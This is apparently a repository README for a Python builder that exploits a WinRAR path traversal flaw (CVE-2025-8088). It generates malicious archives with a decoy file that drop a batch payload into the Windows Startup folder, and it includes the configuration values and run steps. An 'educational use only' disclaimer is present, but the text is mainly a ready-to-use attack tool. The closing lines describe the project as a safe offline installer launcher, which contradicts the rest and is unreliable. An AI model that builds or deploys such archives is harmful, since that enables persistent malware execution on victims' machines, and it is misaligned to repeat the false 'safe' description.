aldisakti2/cve-2025-8088-builder-winrar-toolCVE-2025-8088-BUILDER
⚠ This tool is created solely for educational use only. Unauthorized use outside of controlled environments is strictly prohibited.
A Python script that exploits CVE-2025-8088, a path traversal vulnerability in WinRAR, by generating a malicious archive that places executable payloads into the Windows startup folder using multiple relative directory levels to ensure reliable execution regardless of the extraction location
Configure the config.py file
# Configuration
DECOY_FILE_NAME = "document"
DROP_PATH = "AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.bat"
PAYLOAD = "@echo off\nstart /B C:\Users\Public\file.exe\n"
To use your own decoy file, type its full path instead of name.
Run the script:
python CVE-2025-8088.py
The output will appear in the output folder.
This tool is created solely for educational use only. Unauthorized use outside of controlled environments is strictly prohibited.
Author: Desert Scripts
Description:
A local, offline launcher that runs MyAppInstaller.exe.
No network activity. Safe and transparent.